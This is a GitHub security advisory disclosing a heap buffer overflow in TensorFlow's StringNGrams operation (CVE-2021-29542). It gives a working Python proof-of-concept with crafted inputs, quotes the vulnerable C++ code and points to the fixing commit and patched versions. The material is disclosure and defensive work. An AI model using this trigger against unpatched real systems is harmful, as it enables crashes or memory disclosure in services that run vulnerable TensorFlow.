GHSA-4hrh-9vmp-2jgg

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GHSA-4hrh-9vmp-2jgg

Summary: Heap buffer overflow in `StringNGrams`

Details: ### Impact An attacker can cause a heap buffer overflow by passing crafted inputs to `tf.raw_ops.StringNGrams`: ```python import tensorflow as tf separator = b'\x02\x00' ngram_widths = [7, 6, 11] left_pad = b'\x7f\x7f\x7f\x7f\x7f' right_pad = b'\x7f\x7f\x25\x5d\x53\x74' pad_width = 50 preserve_short_sequences = True l = ['', '', '', '', '', '', '', '', '', '', ''] data = tf.constant(l, shape=[11], dtype=tf.string) l2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3] data_splits = tf.constant(l2, shape=[116], dtype=tf.int64) out = tf.raw_ops.StringNGrams(data=data, data_splits=data_splits, separator=separator, ngram_widths=ngram_widths, left_pad=left_pad, right_pad=right_pad, pad_width=pad_width, preserve_short_sequences=preserve_short_sequences) ``` This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1cdd4da14282210cc759e468d9781741ac7d01bf/tensorflow/core/kernels/string_ngrams_op.cc#L171-L185) fails to consider corner cases where input would be split in such a way that the generated tokens should only contain padding elements: ```cc for (int ngram_index = 0; ngram_index < num_ngrams; ++ngram_index) { int pad_width = get_pad_width(ngram_width); int left_padding = std::max(0, pad_width - ngram_index); int right_padding = std::max(0, pad_width - (num_ngrams - (ngram_index + 1))); int num_tokens = ngram_width - (left_padding + right_padding); int data_start_index = left_padding > 0 ? 0 : ngram_index - pad_width; ... tstring* ngram = &output[ngram_index]; ngram->reserve(ngram_size); for (int n = 0; n < left_padding; ++n) { ngram->append(left_pad_); ngram->append(separator_); } for (int n = 0; n < num_tokens - 1; ++n) { ngram->append(data[data_start_index + n]); ngram->append(separator_); } ngram->append(data[data_start_index + num_tokens - 1]); // <<< for (int n = 0; n < right_padding; ++n) { ngram->append(separator_); ngram->append(right_pad_); } ... } ``` If input is such that `num_tokens` is 0, then, for `data_start_index=0` (when left padding is present), the marked line would result in reading `data[-1]`. ### Patches We have patched the issue in GitHub commit [ba424dd8f16f7110eea526a8086f1a155f14f22b](https://github.com/tensorflow/tensorflow/commit/ba424dd8f16f7110eea526a8086f1a155f14f22b). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

References: https://github.com/tensorflow/tensorflow/security/advisories/GHSA-4hrh-9vmp-2jgg, https://nvd.nist.gov/vuln/detail/CVE-2021-29542, https://github.com/tensorflow/tensorflow/commit/ba424dd8f16f7110eea526a8086f1a155f14f22b, https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-470.yaml, https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-668.yaml, https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-179.yaml, https://github.com/tensorflow/tensorflow